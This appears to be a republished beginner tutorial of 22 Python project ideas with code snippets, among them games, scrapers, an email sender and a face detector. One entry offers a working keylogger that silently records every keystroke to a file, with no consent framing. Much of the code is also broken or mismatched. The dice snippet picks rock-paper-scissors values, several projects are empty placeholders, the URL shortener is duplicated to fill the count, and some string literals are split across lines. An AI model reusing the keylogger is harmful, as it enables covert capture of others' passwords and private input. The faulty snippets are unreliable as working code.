22 Fun Python Projects to Boost Your Coding Skills

This article presents 22 practical Python projects—from a dice simulator and rock‑paper‑scissors game to a weather app and a currency converter—each with a clear purpose, implementation hints, and ready‑to‑run code snippets, helping readers sharpen their programming abilities.

Python Crawling & Data Mining
Python Crawling & Data Mining
Python Crawling & Data Mining
22 Fun Python Projects to Boost Your Coding Skills

Dice Simulator

Purpose: create a program that simulates rolling a dice.

Hint: use the random module to generate a number between 1 and 6.

import random
choice = random.choice(["Rock", "Paper", "Scissors"])
# ... (additional dice logic)

Rock‑Paper‑Scissors Game

Purpose: build a command‑line game where the player chooses rock, paper, or scissors and competes against the computer.

Hint: generate the computer's choice randomly and update scores based on the outcome.

import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
    player = input("Rock, Paper or Scissors?").capitalize()
    # compare choices and update scores
    # ... (rest of game logic)

Random Password Generator

Purpose: create a program that generates a random password of a user‑specified length.

Hint: combine digits, uppercase letters, lowercase letters, and special characters, then randomly select characters to build the password.

# Example placeholder – actual implementation omitted for brevity

Sentence Generator

Purpose: generate a random and unique sentence based on user‑provided nouns, pronouns, adjectives, etc.

Hint: concatenate the user inputs into a sentence structure.

# Example placeholder – actual implementation omitted for brevity

Number Guessing Game

Purpose: write a script that generates a random number within a range; the user has three attempts to guess it.

Hint: generate a random number and loop to give the user three chances, printing the result after each guess.

# Example placeholder – actual implementation omitted for brevity

Story Generator

Purpose: each time the program runs, generate a random story.

Hint: use the random module to select random parts from predefined lists.

# Example placeholder – actual implementation omitted for brevity

Email Address Slicer

Purpose: write a script that extracts the username and domain from an email address.

Hint: split the address at the "@" character.

email = "[email protected]"
username, domain = email.split("@")
print(username, domain)

Automatic Email Sender

Purpose: write a script that can send an email.

Hint: use the email library to construct the message and smtplib to send it.

import smtplib
from email.message import EmailMessage
email = EmailMessage()
email['from'] = '[email protected]'
email['to'] = '[email protected]'
email['subject'] = 'Subject'
email.set_content('Email body')
with smtplib.SMTP(host='smtp.gmail.com', port=587) as smtp:
    smtp.ehlo()
    smtp.starttls()
    smtp.login('email_id', 'Password')
    smtp.send_message(email)
    print('email sent')

Abbreviation Generator

Purpose: create a script that generates an abbreviation from a given sentence.

Hint: split the sentence into words and take the first letter of each.

# Example placeholder – actual implementation omitted for brevity

Hangman

Purpose: build a simple command‑line Hangman game.

Hint: select a secret word from a list, display underscores, and let the user guess letters.

import time
import random
words = ['python', 'programming', 'treasure', 'creative', 'medium', 'horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:
    failed = 0
    for char in word:
        if char in guesses:
            print(char, end='')
        else:
            print('_', end='')
            failed += 1
    if failed == 0:
        print('
You won')
        break
    guess = input('
guess a character:')
    guesses += guess
    if guess not in word:
        turns -= 1
        print('
Wrong')
        if turns == 0:
            print('
You Lose')

Alarm Clock

Purpose: write a script that creates an alarm.

Hint: use the datetime module to compare current time with the set alarm time and playsound to play a sound.

from datetime import datetime
from playsound import playsound
alarm_time = input('Enter the time of alarm to be set:HH:MM:SS
')
# parse alarm_time into hour, minute, second, period
while True:
    now = datetime.now()
    if (now.strftime('%I') == alarm_hour and
        now.strftime('%M') == alarm_minute and
        now.strftime('%S') == alarm_seconds and
        now.strftime('%p') == alarm_period):
        print('Wake Up!')
        playsound('audio.mp3')
        break

Audiobook Generator

Purpose: convert a PDF file into an audiobook.

Hint: use pyttsx3 to synthesize speech from text.

# Example placeholder – actual implementation omitted for brevity

Weather App

Purpose: write a script that receives a city name and fetches its weather using web scraping.

Hint: use requests and BeautifulSoup to parse Google search results.

import requests
from bs4 import BeautifulSoup
headers = {'User-Agent': 'Mozilla/5.0 ...'}
city = input('Enter the city name')
url = f'https://www.google.com/search?q={city}+weather'
res = requests.get(url, headers=headers)
soup = BeautifulSoup(res.text, 'html.parser')
location = soup.select('#wob_loc')[0].getText().strip()
time = soup.select('#wob_dts')[0].getText().strip()
info = soup.select('#wob_dc')[0].getText().strip()
temp = soup.select('#wob_tm')[0].getText().strip()
print(location, time, info, temp + '°C')

Currency Converter

Purpose: write a script that converts one currency to another chosen by the user.

Hint: use an API or the forex-python module to obtain real‑time exchange rates.

# Example placeholder – actual implementation omitted for brevity

Face Detector

Purpose: detect faces in an image and save each detected face to a folder.

Hint: use OpenCV’s Haar cascade classifier.

import cv2
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
img = cv2.imread('images/img0.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 4)
for (x, y, w, h) in faces:
    cv2.rectangle(img, (x, y), (x+w, y+h), (255,0,0), 2)
    crop_face = img[y:y+h, x:x+w]
    cv2.imwrite(f'{w}{h}_faces.jpg', crop_face)
cv2.imshow('img', img)
cv2.waitKey()

Reminder App

Purpose: create a desktop reminder that notifies the user at a specified time.

Hint: use the time module to wait and win10toast to show notifications.

from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
header = input('Title of reminder')
text = input('Message of reminder')
time_min = float(input('In how many minutes?')) * 60
print('Setting up reminder..')
time.sleep(2)
print('all set!')
time.sleep(time_min)
toaster.show_toast(header, text, duration=10, threaded=True)
while toaster.notification_active():
    time.sleep(0.005)

Wikipedia Summary Extractor

Purpose: generate a summary from a Wikipedia article URL.

Hint: fetch the page with requests, parse with BeautifulSoup, and extract the main text.

import requests
from bs4 import BeautifulSoup
url = input('Paste article url')
res = requests.get(url)
soup = BeautifulSoup(res.text, 'html.parser')
paragraphs = soup.findAll('p')
content = ' '.join(p.text for p in paragraphs)
print(content)

Google Search Result Fetcher

Purpose: retrieve data from Google based on a query.

Hint: send a request to Google and parse the result page for answer snippets.

import requests
from bs4 import BeautifulSoup
headers = {'User-Agent': 'Mozilla/5.0 ...'}
query = input('Query')
url = f'https://www.google.com/search?q={query.replace(' ', '+')}'
res = requests.get(url, headers=headers)
soup = BeautifulSoup(res.text, 'html.parser')
try:
    ans = soup.select('.RqBzHd')[0].getText().strip()
except:
    try:
        title = soup.select('.AZCkJd')[0].getText().strip()
        ans = soup.select('.e24Kjd')[0].getText().strip()
        ans = f'{title}
{ans}'
    except:
        ans = soup.select('.hgKElc')[0].getText().strip()
print(ans)

URL Shortener

Purpose: shorten a given URL using TinyURL API.

from urllib.parse import urlencode
from urllib.request import urlopen
import sys

def make_tiny(url):
    request_url = 'http://tinyurl.com/api-create.php?' + urlencode({'url': url})
    with urlopen(request_url) as response:
        return response.read().decode('utf-8')

for tinyurl in map(make_tiny, sys.argv[1:]):
    print(tinyurl)

Keylogger

Purpose: record all keys pressed by the user into a text file.

Hint: use the pynput library to listen to keyboard events.

from pynput.keyboard import Key, Listener
keys = []

def on_press(key):
    global keys
    string = str(key).replace("'", "")
    keys.append(string)
    if len(''.join(keys)) > 15:
        with open('keys.txt', 'a') as f:
            f.write(''.join(keys))
        keys = []

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Article Reader

Purpose: read an online article aloud.

Hint: fetch the article with requests and BeautifulSoup, then use pyttsx3 to speak the text.

import pyttsx3
import requests
from bs4 import BeautifulSoup
url = input('Paste article url')
res = requests.get(url)
soup = BeautifulSoup(res.text, 'html.parser')
texts = [p.getText().strip() for p in soup.select('.p')]
content = ' '.join(texts)
engine = pyttsx3.init('sapi5')
engine.say(content)
engine.runAndWait()

Short URL Generator

Purpose: shorten a URL using an API (TinyURL).

from urllib.parse import urlencode
from urllib.request import urlopen
import sys

def make_tiny(url):
    request_url = 'http://tinyurl.com/api-create.php?' + urlencode({'url': url})
    with urlopen(request_url) as response:
        return response.read().decode('utf-8')

for tinyurl in map(make_tiny, sys.argv[1:]):
    print(tinyurl)

These 22 projects cover a wide range of topics, from simple games and utilities to web scraping, automation, and basic AI, offering readers practical hands‑on experience to improve their Python programming skills.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

PythontutorialcodingscriptsBeginnerProjects
Python Crawling & Data Mining
Written by

Python Crawling & Data Mining

Life's short, I code in Python. This channel shares Python web crawling, data mining, analysis, processing, visualization, automated testing, DevOps, big data, AI, cloud computing, machine learning tools, resources, news, technical articles, tutorial videos and learning materials. Join us!

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.